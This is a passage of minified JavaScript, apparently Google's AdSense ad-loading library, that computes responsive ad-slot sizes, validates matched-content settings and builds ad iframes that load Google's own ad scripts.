</"+Ai+'>\n <div id="dummyAd" style="width:'+d+"px;height:"+e+'px;\n background:#ddd;border:3px solid #f00;box-sizing:border-box;\n color:#000;">\n <p>Requested size:'+d+"x"+e+"</p>\n <p>Rendered size:"+d+"x"+e+"</p>\n </div>")};/* Copyright 2019 The AMP HTML Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS-IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ var Di={},Ei=(Di.image_stacked=1/1.91,Di.image_sidebyside=1/3.82,Di.mobile_banner_image_sidebyside=1/3.82,Di.pub_control_image_stacked=1/1.91,Di.pub_control_image_sidebyside=1/3.82,Di.pub_control_image_card_stacked=1/1.91,Di.pub_control_image_card_sidebyside=1/3.74,Di.pub_control_text=0,Di.pub_control_text_card=0,Di),Fi={},Gi=(Fi.image_stacked=80,Fi.image_sidebyside=0,Fi.mobile_banner_image_sidebyside=0,Fi.pub_control_image_stacked=80,Fi.pub_control_image_sidebyside=0,Fi.pub_control_image_card_stacked=85,Fi.pub_control_image_card_sidebyside=0,Fi.pub_control_text=80,Fi.pub_control_text_card=80,Fi),Hi={},Ii=(Hi.pub_control_image_stacked=100,Hi.pub_control_image_sidebyside=200,Hi.pub_control_image_card_stacked=150,Hi.pub_control_image_card_sidebyside=250,Hi.pub_control_text=100,Hi.pub_control_text_card=150,Hi);function Ji(a){var b=0;a.C&&b++;a.u&&b++;a.v&&b++;if(3>b)return{A:"Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together."};b=a.C.split(",");var c=a.v.split(",");a=a.u.split(",");if(b.length!==c.length||b.length!==a.length)return{A:'Lengths of parameters data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num must match. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside"'};if(2<b.length)return{A:"The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while you are providing "+(b.length+' parameters. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')};for(var d=[],e=[],f=0;f<b.length;f++){var g=Number(c[f]);if(isNaN(g)||0===g)return{A:"Wrong value '"+c[f]+"' for data-matched-content-rows-num."};d.push(g);g=Number(a[f]);if(isNaN(g)||0===g)return{A:"Wrong value '"+a[f]+"' for data-matched-content-columns-num."};e.push(g)}return{v:d,u:e,ra:b}}function Ki(a){return 1200<=a?{width:1200,height:600}:850<=a?{width:a,height:Math.floor(.5*a)}:550<=a?{width:a,height:Math.floor(.6*a)}:468<=a?{width:a,height:Math.floor(.7*a)}:{width:a,height:Math.floor(3.44*a)}};var Li=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"];function Mi(a,b){R.call(this,a,b)}ka(Mi,R);Mi.prototype.M=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))};function Ni(a,b){Oi(a,b);if("pedestal"==b.google_content_recommendation_ui_type)return new Bi(9,new Mi(a,Math.floor(a*b.google_phwr)));var c=Vb();468>a?c?(c=a-8-8,c=Math.floor(c/1.91+70)+Math.floor(11*(c*Ei.mobile_banner_image_sidebyside+Gi.mobile_banner_image_sidebyside)+96),a={O:a,N:c,u:1,v:12,C:"mobile_banner_image_sidebyside"}):(a=Ki(a),a={O:a.width,N:a.height,u:1,v:13,C:"image_sidebyside"}):(a=Ki(a),a={O:a.width,N:a.height,u:4,v:2,C:"image_stacked"});Pi(b,a);return new Bi(9,new Mi(a.O,a.N))}function Qi(a,b){Oi(a,b);var c=Ji({v:b.google_content_recommendation_rows_num,u:b.google_content_recommendation_columns_num,C:b.google_content_recommendation_ui_type});if(c.A)a={O:0,N:0,u:0,v:0,C:"image_stacked",A:c.A};else{var d=2===c.ra.length&&468<=a?1:0;var e=c.ra[d];e=0===e.indexOf("pub_control_")?e:"pub_control_"+e;var f=Ii[e];for(var g=c.u[d];a/g<f&&1<g;)g--;f=g;c=c.v[d];d=Math.floor(((a-8*f-8)/f*Ei[e]+Gi[e])*c+8*c+8);a=1500<a?{width:0,height:0,ia:"Calculated slot width is too large: "+a}:1500<d?{width:0,height:0,ia:"Calculated slot height is too large: "+d}:{width:a,height:d};a=a.ia?{O:0,N:0,u:0,v:0,C:e,A:a.ia}:{O:a.width,N:a.height,u:f,v:c,C:e}}if(a.A)throw new L(a.A);Pi(b,a);return new Bi(9,new Mi(a.O,a.N))}function Oi(a,b){if(0>=a)throw new L("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.");}function Pi(a,b){a.google_content_recommendation_ui_type=b.C;a.google_content_recommendation_columns_num=b.u;a.google_content_recommendation_rows_num=b.v};function Ri(a,b){R.call(this,a,b)}ka(Ri,R);Ri.prototype.M=function(){return this.minWidth()};Ri.prototype.Z=function(a,b,c,d){var e=this.M(b);Ag(a,d,d.parentElement,b,e,c);if(!c.google_ad_resize){d.style.height=this.height()+"px";b=J(a,Of.c)||"ca-pub-9118350542306317"===c.google_ad_client;d=yf(197)?!J(a,Of.c):J(a,Of.B);e=J(a,P.c);var f=J(a,P.T)||J(a,P.L)||J(a,P.K)||J(a,P.I)||J(a,P.J);if(J(a,Of.c)||J(a,Of.B)||e||f)c.ovlp=!0;b?c.rpe=!1:d&&(c.rpe=!0);if(J(a,Jf.c)||J(a,Jf.R)||J(a,Jf.P))c.ovlp=!0}};function Si(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}}function Ti(a,b,c){for(var d=a.length,e=null,f=0;f<d;++f){var g=a[f];if(b(g)){if(!c||c(g))return g;null===e&&(e=g)}}return e};var V=[new U(970,90,2),new U(728,90,2),new U(468,60,2),new U(336,280,1),new U(320,100,2),new U(320,50,2),new U(300,600,4),new U(300,250,1),new U(250,250,1),new U(234,60,2),new U(200,200,1),new U(180,150,1),new U(160,600,4),new U(125,125,1),new U(120,600,4),new U(120,240,4),new U(120,120,1,!0)],Ui=[V[6],V[12],V[3],V[0],V[7],V[14],V[1],V[8],V[10],V[4],V[15],V[2],V[11],V[5],V[13],V[9],V[16]];function Vi(a,b,c,d,e){"false"!=e.google_full_width_responsive||c.location&&"#gfwrffwaifhp"==c.location.hash?"autorelaxed"==b&&(e.google_full_width_responsive||J(c,hg.g))||Wi(b)||e.google_ad_resize?(b=wg(a,c,d,e),c=!0!==b?{l:a,m:b}:{l:Q(c)||a,m:!0}):c={l:a,m:2}:c={l:a,m:1};b=c.m;return!0!==b?{l:a,m:b}:d.parentElement?{l:c.l,m:b}:{l:a,m:b}}function Xi(a,b,c,d,e){var f=be(247,function(){return Vi(a,b,c,d,e)}),g=f.l;f=f.m;var h=!0===f,k=F(d.style.width),m=F(d.style.height),n=Yi(g,b,c,d,e,h);g=n.H;h=n.G;var u=n.D,w=n.F,z=n.ha;n=n.Na;var H=Zi(b,z),E,G=(E=Bg(d,c,"marginLeft",F))?E+"px":"",sb=(E=Bg(d,c,"marginRight",F))?E+"px":"";E=Bg(d,c,"zIndex")||"";return new Bi(H,g,z,null,n,f,h,u,w,G,sb,m,k,E)}function Wi(a){return"auto"==a||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(a)}function Yi(a,b,c,d,e,f){b="auto"==b?.25>=a/Math.min(1200,Q(c))?4:3:ug(b);var g=!1,h=!1,k=$i(c),m=488>Q(c);if(k&&m||!k&&Vb()){var n=tg(d,c);h=Eg(d,c);g=!h&&n;h=h&&n}m=(g||k?Ui:V).slice(0);var u=488>Q(c),w=[Cg(a),Dg(u,c,d,h),zi(b)];null!=e.google_max_responsive_height&&w.push(Gg(e.google_max_responsive_height));k||w.push(aj(u));u=[function(H){return!H.Ma}];if(g||h)g=g&&!k?Ig(c,d):Jg(c,d),u.push(Gg(g));var z=Ti(m,Si(w),Si(u));if(!z)throw new L("No slot size for availableWidth="+a);g=be(248,function(){var H;a:if(f){if(e.gfwrnh&&(H=F(e.gfwrnh))){H={H:new Ri(a,H),G:!0,D:!1,F:!1};break a}if($i(c)||"true"==e.google_full_width_responsive||!Eg(d,c)||e.google_resizing_allowed){H=!1;var E=og(c).clientHeight,G=rg(d,c),sb=c.google_lpabyc,bg=Hg(d,c);if(bg&&2<bg&&!c.google_bfabyc&&(!sb||G-sb>E)&&(E=.9*og(c).clientHeight,G=Math.min(E,bj(c,d,e)),E&&G==E)){G=c.google_pbfabyc;H=!G;if(J(c,Jf.R)||J(c,Jf.P)){c.google_bfabyc=rg(d,c)+E;H={H:new Ri(a,Math.floor(E)),G:!0,D:!0,F:!0};break a}G||(c.google_pbfabyc=rg(d,c)+E)}E=a/1.2;G=Math.min(E,bj(c,d,e));if(G<.5*E||100>G)G=E;if(J(c,P.L)||J(c,P.K)||J(c,P.I)||J(c,P.J))G*=1.3;H={H:new Ri(a,Math.floor(G)),G:G<E?102:!0,D:!1,F:H}}else H={H:new Ri(a,z.height()),G:101,D:!1,F:!1}}else H={H:z,G:100,D:!1,F:!1};return H});return{H:g.H,G:g.G,D:g.D,F:g.F,ha:b,Na:n}}function bj(a,b,c){return c.google_resizing_allowed||"true"==c.google_full_width_responsive?Infinity:Ig(a,b)}function Zi(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask");}function aj(a){return function(b){return!(320==b.minWidth()&&(a&&50==b.height()||!a&&100==b.height()))}}function $i(a){return yf(197)?!J(a,Of.c):J(a,Of.B)};var cj={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}};function dj(a,b){R.call(this,a,b)}ka(dj,R);dj.prototype.M=function(){return Math.min(1200,this.minWidth())};function ej(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f&&"false"!=e.google_full_width_responsive){var g=vg(b,c,a,.2,e);if(!0!==g)e.gfwrnwer=g;else if(g=Q(b)){e.google_full_width_responsive_allowed=!0;var h=c.parentElement;if(h){b:for(var k=c,m=0;100>m&&k.parentElement;++m){for(var n=k.parentElement.childNodes,u=0;u<n.length;++u){var w=n[u];if(w!=k&&yg(b,w))break b}k=k.parentElement;k.style.width="100%";k.style.height="auto"}Ag(b,c,h,a,g,e);a=g}}}if(250>a)throw new L("Fluid responsive ads must be at least 250px wide: availableWidth="+a);a=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new L("Fluid responsive ads must be at least 50px tall: height="+f);return new Bi(11,new R(a,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;b=Math.pow(10,3);if(e=(c=f.match(/([+-][0-9a-z]+)/g))&&c.length){d=[];for(g=0;g<e;g++)d.push(parseInt(c[g],36)/b);b=d}else b=null;if(!b)throw new L("Invalid data-ad-layout-key value: "+f);f=(a+-725)/1E3;c=0;e=1;d=b.length;for(g=0;g<d;g++)c+=b[g]*e,e*=f;f=Math.ceil(1E3*c- -725+10);if(isNaN(f))throw new L("Invalid height: height="+f);if(50>f)throw new L("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new L("Fluid responsive ads must be at most 1200px tall: height="+f);return new Bi(11,new R(a,f))}if(J(b,lg.c)||J(b,lg.aa)||J(b,lg.ba))e.ovlp=!0;e=cj[f];if(!e)throw new L("Invalid data-ad-layout value: "+f);d=J(b,lg.ba)||J(b,lg.aa);c=Eg(c,b);b=Q(b);b="in-article"===f&&!c&&a===b&&d?Math.ceil(1.25*e(a)):Math.ceil(e(a));return new Bi(11,"in-article"==f?new dj(a,b):new R(a,b))};function fj(a,b){R.call(this,a,b)}ka(fj,R);fj.prototype.M=function(){return this.minWidth()};fj.prototype.ea=function(a){return R.prototype.ea.call(this,a)+"_0ads_al"};var gj=[new fj(728,15),new fj(468,15),new fj(200,90),new fj(180,90),new fj(160,90),new fj(120,90)];function hj(a,b,c){var d=250,e=90;d=void 0===d?130:d;e=void 0===e?30:e;var f=Ti(gj,Cg(a));if(!f)throw new L("No link unit size for width="+a+"px");a=Math.min(a,1200);f=f.height();b=Math.max(f,b);d=(new Bi(10,new fj(a,Math.min(b,15==f?e:d)))).a;b=d.minWidth();d=d.height();15<=c&&(d=c);return new Bi(10,new fj(b,d))}function ij(a,b,c,d){if("false"==d.google_full_width_responsive)return d.google_full_width_responsive_allowed=!1,d.gfwrnwer=1,a;var e=wg(a,b,c,d);if(!0!==e)return d.google_full_width_responsive_allowed=!1,d.gfwrnwer=e,a;e=Q(b);if(!e)return a;d.google_full_width_responsive_allowed=!0;Ag(b,c,c.parentElement,a,e,d);return e};function jj(a,b,c,d,e){var f;(f=Q(b))?488>Q(b)?b.innerHeight>=b.innerWidth?(e.google_full_width_responsive_allowed=!0,Ag(b,c,c.parentElement,a,f,e),f={l:f,m:!0}):f={l:a,m:5}:f={l:a,m:4}:f={l:a,m:10};var g=f;f=g.l;g=g.m;if(!0!==g||a==f)return new Bi(12,new R(a,d),null,null,!0,g,100);a=Yi(f,"auto",b,c,e,!0);return new Bi(1,a.H,a.ha,2,!0,g,a.G,a.D,a.F)};function kj(a){var b=a.google_ad_format;if("autorelaxed"==b){a:{if("pedestal"!=a.google_content_recommendation_ui_type){b=ba(Li);for(var c=b.next();!c.done;c=b.next())if(null!=a[c.value]){a=!0;break a}}a=!1}return a?9:5}if(Wi(b))return 1;if("link"==b)return 4;if("fluid"==b)return 8}function lj(a,b,c,d,e){e=b.offsetWidth||(c.google_ad_resize||(void 0===e?!1:e))&&Bg(b,d,"width",F)||c.google_ad_width||0;!J(d,Qf.g)||5!==a&&9!==a||(c.google_ad_format="auto",c.google_ad_slot="",a=1);var f=(f=mj(a,e,b,c,d))?f:Xi(e,c.google_ad_format,d,b,c);f.a.Z(d,e,c,b);Ci(f,e,c);1!=a&&(a=f.a.height(),b.style.height=a+"px")}function mj(a,b,c,d,e){var f=d.google_ad_height||Bg(c,e,"height",F);switch(a){case 5:return a=be(247,function(){return Vi(b,d.google_ad_format,e,c,d)}),f=a.l,a=a.m,!0===a&&b!=f&&Ag(e,c,c.parentElement,b,f,d),!0===a?d.google_full_width_responsive_allowed=!0:(d.google_full_width_responsive_allowed=!1,d.gfwrnwer=a),nj(e)&&(d.ovlp=!0),Ni(f,d);case 9:return Qi(b,d);case 4:return a=ij(b,e,c,d),hj(a,Jg(e,c),f);case 8:return ej(b,e,c,f,d);case 10:return jj(b,e,c,f,d)}}function nj(a){return J(a,hg.c)||J(a,hg.g)};function W(a){this.h=[];this.b=a||window;this.a=0;this.f=null;this.i=0}var oj;l=W.prototype;l.Ia=function(a,b){0!=this.a||0!=this.h.length||b&&b!=window?this.pa(a,b):(this.a=2,this.wa(new pj(a,window)))};l.pa=function(a,b){this.h.push(new pj(a,b||this.b));qj(this)};l.Ra=function(a){this.a=1;if(a){var b=ce(188,Fa(this.va,this,!0));this.f=this.b.setTimeout(b,a)}};l.va=function(a){a&&++this.i;1==this.a&&(null!=this.f&&(this.b.clearTimeout(this.f),this.f=null),this.a=0);qj(this)};l.Ya=function(){return!(!window||!Array)};l.La=function(){return this.i};function qj(a){var b=ce(189,Fa(a.Za,a));a.b.setTimeout(b,0)}l.Za=function(){if(0==this.a&&this.h.length){var a=this.h.shift();this.a=2;var b=ce(190,Fa(this.wa,this,a));a.a.setTimeout(b,0);qj(this)}};l.wa=function(a){this.a=0;a.b()};function rj(a){try{return a.sz()}catch(b){return!1}}function sj(a){return!!a&&("object"===typeof a||"function"===typeof a)&&rj(a)&&Ec(a.nq)&&Ec(a.nqa)&&Ec(a.al)&&Ec(a.rl)}function tj(){if(oj&&rj(oj))return oj;var a=Bf(),b=a.google_jobrunner;return sj(b)?oj=b:a.google_jobrunner=oj=new W(a)}function uj(a,b){tj().nq(a,b)}function vj(a,b){tj().nqa(a,b)}W.prototype.nq=W.prototype.Ia;W.prototype.nqa=W.prototype.pa;W.prototype.al=W.prototype.Ra;W.prototype.rl=W.prototype.va;W.prototype.sz=W.prototype.Ya;W.prototype.tc=W.prototype.La;function pj(a,b){this.b=a;this.a=b};function wj(a,b){var c=Mc(b);if(c){c=Q(c);var d=$b(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!=d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};function xj(a){var b=this;this.a=a;a.google_iframe_oncopy||(a.google_iframe_oncopy={handlers:{},upd:function(c,d){var e=yj("rx",c),f=Number;a:{if(c&&(c=c.match("dt=([^&]+)"))&&2==c.length){c=c[1];break a}c=""}f=f(c);f=(new Date).getTime()-f;e=e.replace(/&dtd=(\d+|-?M)/,"&dtd="+(1E5<=f?"M":0<=f?f:"-M"));b.set(d,e);return e}});this.b=a.google_iframe_oncopy}xj.prototype.set=function(a,b){var c=this;this.b.handlers[a]=b;this.a.addEventListener&&this.a.addEventListener("load",function(){var d=c.a.document.getElementById(a);try{var e=d.contentWindow.document;if(d.onload&&e&&(!e.body||!e.body.firstChild))d.onload()}catch(f){}},!1)};function yj(a,b){var c=new RegExp("\\b"+a+"=(\\d+)"),d=c.exec(b);d&&(b=b.replace(c,a+"="+(+d[1]+1||1)));return b}var zj,Aj="var i=this.id,s=window.google_iframe_oncopy,H=s&&s.handlers,h=H&&H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&&d&&(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){try{h=s.upd(h,i)}catch(e){}w.location.replace(h)}}";var X=Aj;/[\x00&<>"']/.test(X)&&(-1!=X.indexOf("&")&&(X=X.replace(Za,"&")),-1!=X.indexOf("<")&&(X=X.replace($a,"<")),-1!=X.indexOf(">")&&(X=X.replace(ab,">")),-1!=X.indexOf('"')&&(X=X.replace(bb,""")),-1!=X.indexOf("'")&&(X=X.replace(cb,"'")),-1!=X.indexOf("\x00")&&(X=X.replace(db,"�")));Aj=X;zj=Aj;var Bj={},Cj=(Bj.google_ad_modifications=!0,Bj.google_analytics_domain_name=!0,Bj.google_analytics_uacct=!0,Bj.google_pause_ad_requests=!0,Bj);var Dj=/^\.google\.(com?\.)?[a-z]{2,3}$/,Ej=/\.(cn|com\.bi|do|sl|ba|by|ma|am)$/;function Fj(a){return Dj.test(a)&&!Ej.test(a)}var Gj=p;function Hj(a){a="https://adservice"+(a+"/adsid/integrator.js");var b=["domain="+encodeURIComponent(p.location.hostname)];Y[3]>=+new Date&&b.push("adsid="+encodeURIComponent(Y[1]));return a+"?"+b.join("&")}var Y,Z;function Ij(){Gj=p;Y=Gj.googleToken=Gj.googleToken||{};var a=+new Date;Y[1]&&Y[3]>a&&0<Y[2]||(Y[1]="",Y[2]=-1,Y[3]=-1,Y[4]="",Y[6]="");Z=Gj.googleIMState=Gj.googleIMState||{};Fj(Z[1])||(Z[1]=".google.com");ya(Z[5])||(Z[5]=[]);"boolean"==typeof Z[6]||(Z[6]=!1);ya(Z[7])||(Z[7]=[]);pa(Z[8])||(Z[8]=0)}var Jj={fa:function(){return 0<Z[8]},Ua:function(){Z[8]++},Va:function(){0<Z[8]&&Z[8]--},Wa:function(){Z[8]=0},ab:function(){return!1},Ka:function(){return Z[5]},Ga:function(a){try{a()}catch(b){p.setTimeout(function(){throw b;},0)}},Ta:function(){if(!Jj.fa()){var a=p.document,b=function(e){e=Hj(e);a:{try{var f=qa();break a}catch(g){}f=void 0}Dh(a,e,f);f=a.createElement("script");f.type="text/javascript";f.onerror=function(){return p.processGoogleToken({},2)};e=Tb(e);vb(f,e);try{(a.head||a.body||a.documentElement).appendChild(f),Jj.Ua()}catch(g){}},c=Z[1];b(c);".google.com"!=c&&b(".google.com");b={};var d=(b.newToken="FBT",b);p.setTimeout(function(){return p.processGoogleToken(d,1)},1E3)}}};function Kj(){p.processGoogleToken=p.processGoogleToken||function(a,b){var c=a;c=void 0===c?{}:c;b=void 0===b?0:b;a=c.newToken||"";var d="NT"==a,e=parseInt(c.freshLifetimeSecs||"",10),f=parseInt(c.validLifetimeSecs||"",10),g=c["1p_jar"]||"";c=c.pucrd||"";Ij();1==b?Jj.Wa():Jj.Va();var h=Gj.googleToken=Gj.googleToken||{},k=0==b&&a&&q(a)&&!d&&pa(e)&&0<e&&pa(f)&&0<f&&q(g);d=d&&!Jj.fa()&&(!(Y[3]>=+new Date)||"NT"==Y[1]);var m=!(Y[3]>=+new Date)&&0!=b;if(k||d||m)d=+new Date,e=d+1E3*e,f=d+1E3*f,1E-5>Math.random()&&sc("https://pagead2.googlesyndication.com/pagead/gen_204?id=imerr&err="+b,null),h[5]=b,h[1]=a,h[2]=e,h[3]=f,h[4]=g,h[6]=c,Ij();if(k||!Jj.fa()){b=Jj.Ka();for(a=0;a<b.length;a++)Jj.Ga(b[a]);b.length=0}};Ij();Y[3]>=+new Date&&Y[2]>=+new Date||Jj.Ta()};var Lj=zb("script");function Mj(){D.google_sa_impl&&!D.document.getElementById("google_shimpl")&&(D.google_sa_queue=null,D.google_sl_win=null,D.google_sa_impl=null);if(!D.google_sa_queue){D.google_sa_queue=[];D.google_sl_win=D;D.google_process_slots=function(){return Nj(D)};var a=Oj();Dh(D.document,a);J(D,"20199335")||!qb()||t("iPhone")&&!t("iPod")&&!t("iPad")||t("iPad")||t("iPod")?Zb(D.document,a).id="google_shimpl":(a=Rb(document,"IFRAME"),a.id="google_shimpl",a.style.display="none",D.document.documentElement.appendChild(a),xi(D,"google_shimpl","<!doctype html><html><body><"+(Lj+">google_sl_win=window.parent;google_async_iframe_id='google_shimpl';</")+(Lj+">")+Pj()+"</body></html>"),a.contentWindow.document.close())}}var Nj=ce(215,function(a){var b=a.google_sa_queue,c=b.shift();a.google_sa_impl||de("shimpl",{t:"no_fn"});"function"==wa(c)&&be(216,c);b.length&&a.setTimeout(function(){return Nj(a)},0)});function Qj(a,b,c){a.google_sa_queue=a.google_sa_queue||[];a.google_sa_impl?c(b):a.google_sa_queue.push(b)}function Pj(){var a=Oj();return"<"+Lj+' src="'+a+'"></'+Lj+">"}function Oj(){var a="/show_ads_impl.js";a=void 0===a?"/show_ads_impl.js":a;a:{if(xc)try{var b=D.google_cafe_host||D.top.google_cafe_host;if(b){var c=b;break a}}catch(d){}c=Ac()}return jf(c,["/pagead/js/",wc(),"/r20190131",a,""].join(""),"https")}function Rj(a,b,c,d){return function(){var e=!1;d&&tj().al(3E4);try{xi(a,b,c),e=!0}catch(g){var f=Bf().google_jobrunner;sj(f)&&f.rl()}e&&(e=yj("google_async_rrc",c),(new xj(a)).set(b,Rj(a,b,e,!1)))}}function Sj(a){if(!yi)a:{for(var b=[p.top],c=[],d=0,e;e=b[d++];){c.push(e);try{if(e.frames)for(var f=e.frames.length,g=0;g<f&&1024>b.length;++g)b.push(e.frames[g])}catch(k){}}for(b=0;b<c.length;b++)try{var h=c[b].frames.google_esf;if(h){yi=h;break a}}catch(k){}yi=null}if(!yi){if(/[^a-z0-9-]/.test(a))return null;c=Rb(document,"IFRAME");c.id="google_esf";c.name="google_esf";h=hf(vc("","googleads.g.doubleclick.net"),["/pagead/html/",wc(),"/r20190131/zrt_lookup.html#",encodeURIComponent("")].join(""));c.src=h;c.style.display="none";c.setAttribute("data-ad-client",Fh(a));return c}return null}function Tj(a,b,c){Uj(a,b,c,function(d,e,f){d=d.document;for(var g=e.id,h=0;!g||d.getElementById(g+"_anchor");)g="aswift_"+h++;e.id=g;e.name=g;g=Number(f.google_ad_width||0);h=Number(f.google_ad_height||0);var k=f.ds||"";k&&(k+=k.endsWith(";")?"":";");var m="";if(!f.google_enable_single_iframe){m=["<iframe"];for(n in e)e.hasOwnProperty(n)&&m.push(n+"="+e[n]);m.push('style="left:0;position:absolute;top:0;border:0px;width:'+(g+"px;height:"+(h+'px;"')));m.push("></iframe>");m=m.join(" ")}var n=e.id;var u="";u=void 0===u?"":u;g="border:none;height:"+h+"px;margin:0;padding:0;position:relative;visibility:visible;width:"+(g+"px;background-color:transparent;");n=['<ins id="'+(n+'_expand"'),' style="display:inline-table;'+g+(void 0===k?"":k)+'"',u?' data-ad-slot="'+u+'">':">",'<ins id="'+(n+'_anchor" style="display:block;')+g+'">',m,"</ins></ins>"].join("");16==f.google_reactive_ad_format?(f=d.createElement("div"),f.innerHTML=n,c.appendChild(f.firstChild)):c.innerHTML=n;return e.id})}function Uj(a,b,c,d){var e=b.google_ad_width,f=b.google_ad_height;J(a,jg.g)?(fe(!0),b.google_enable_single_iframe=!0):J(a,jg.c)&&fe(!1);var g={};null!=e&&(g.width=e&&'"'+e+'"');null!=f&&(g.height=f&&'"'+f+'"');g.frameborder='"0"';g.marginwidth='"0"';g.marginheight='"0"';g.vspace='"0"';g.hspace='"0"';g.allowtransparency='"true"';g.scrolling='"no"';g.allowfullscreen='"true"';g.onload='"'+zj+'"';d=d(a,g,b);Vj(a,c,b);(c=Sj(b.google_ad_client))&&a.document.documentElement.appendChild(c);c=Ha;e=(new Date).getTime();b.google_lrv=wc();b.google_async_iframe_id=d;b.google_unique_id=Gc(a);b.google_start_time=c;b.google_bpp=e>c?e-c:1;b.google_async_rrc=0;a.google_sv_map=a.google_sv_map||{};a.google_sv_map[d]=b;a.google_t12n_vars=vf;if(b.google_enable_single_iframe){var h={pubWin:a,iframeWin:null,vars:b};Qj(a,function(){a.google_sa_impl(h)},a.document.getElementById(d+"_anchor")?uj:vj)}else Qj(a,Rj(a,d,["<!doctype html><html><body>","<"+Lj+">","google_sl_win=window.parent;google_iframe_start_time=new Date().getTime();",'google_async_iframe_id="'+d+'";',"</"+Lj+">","<"+Lj+">window.parent.google_sa_impl({iframeWin: window, pubWin: window.parent, vars: window.parent['google_sv_map']['"+(d+"']});</")+Lj+">","</body></html>"].join(""),!0),a.document.getElementById(d)?uj:vj)}function Vj(a,b,c){var d=c.google_ad_output,e=c.google_ad_format,f=c.google_ad_width||0,g=c.google_ad_height||0;e||"html"!=d&&null!=d||(e=f+"x"+g);d=!c.google_ad_slot||c.google_override_format||!Pb[c.google_ad_width+"x"+c.google_ad_height]&&"aa"==c.google_loader_used;e&&d?e=e.toLowerCase():e="";c.google_ad_format=e;if(!pa(c.google_reactive_sra_index)||!c.google_ad_unit_key){e=[c.google_ad_slot,c.google_orig_ad_format||c.google_ad_format,c.google_ad_type,c.google_orig_ad_width||c.google_ad_width,c.google_orig_ad_height||c.google_ad_height];d=[];f=0;for(g=b;g&&25>f;g=g.parentNode,++f)9===g.nodeType?d.push(""):d.push(g.id);(d=d.join())&&e.push(d);c.google_ad_unit_key=fc(e.join(":")).toString();var h=void 0===h?!1:h;e=[];for(d=0;b&&25>d;++d){f="";void 0!==h&&h||(f=(f=9!==b.nodeType&&b.id)?"/"+f:"");a:{if(b&&b.nodeName&&b.parentElement){g=b.nodeName.toString().toLowerCase();for(var k=b.parentElement.childNodes,m=0,n=0;n<k.length;++n){var u=k[n];if(u.nodeName&&u.nodeName.toString().toLowerCase()===g){if(b===u){g="."+m;break a}++m}}}g=""}e.push((b.nodeName&&b.nodeName.toString().toLowerCase())+f+g);b=b.parentElement}h=e.join()+":";b=[];if(a)try{var w=a.parent;for(e=0;w&&w!==a&&25>e;++e){var z=w.frames;for(d=0;d<z.length;++d)if(a===z[d]){b.push(d);break}a=w;w=a.parent}}catch(H){}c.google_ad_dom_fingerprint=fc(h+b.join()).toString()}};function Wj(a,b){a=a.attributes;for(var c=a.length,d=0;d<c;d++){var e=a[d];if(/data-/.test(e.name)){var f=Ya(e.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));if(!b.hasOwnProperty(f)){e=e.value;var g={};g=(g.google_reactive_ad_format=tc,g.google_allow_expandable_ads=jc,g);e=g.hasOwnProperty(f)?g[f](e,null):e;null===e||(b[f]=e)}}}}function Xj(a){if(a=Bc(a))switch(a.data&&a.data.autoFormat){case "rspv":return 13;case "mcrspv":return 15;default:return 14}else return 12}function Yj(a,b,c){Wj(a,b);if(c.document&&c.document.body&&!kj(b)&&!b.google_reactive_ad_format){var d=parseInt(a.style.width,10),e=wj(a,c);if(0<e&&d>e){var f=parseInt(a.style.height,10);d=!!Pb[d+"x"+f];var g=e;if(d){var h=Qb(e,f);if(h)g=h,b.google_ad_format=h+"x"+f+"_0ads_al";else throw new L("No slot size for availableWidth="+e);}b.google_ad_resize=!0;b.google_ad_width=g;d||(b.google_ad_format=null,b.google_override_format=!0);e=g;a.style.width=e+"px";f=Xi(e,"auto",c,a,b);g=e;f.a.Z(c,g,b,a);Ci(f,g,b);f=f.a;b.google_responsive_formats=null;f.minWidth()>e&&!d&&(b.google_ad_width=f.minWidth(),a.style.width=f.minWidth()+"px")}}d=a.offsetWidth||Bg(a,c,"width",F)||b.google_ad_width||0;a:{e=Ga(Xi,d,"auto",c,a,b,!1,!0);h=J(c,ag.c);var k=J(c,ag.g);f=J(c,dg.c);g=J(c,dg.g);var 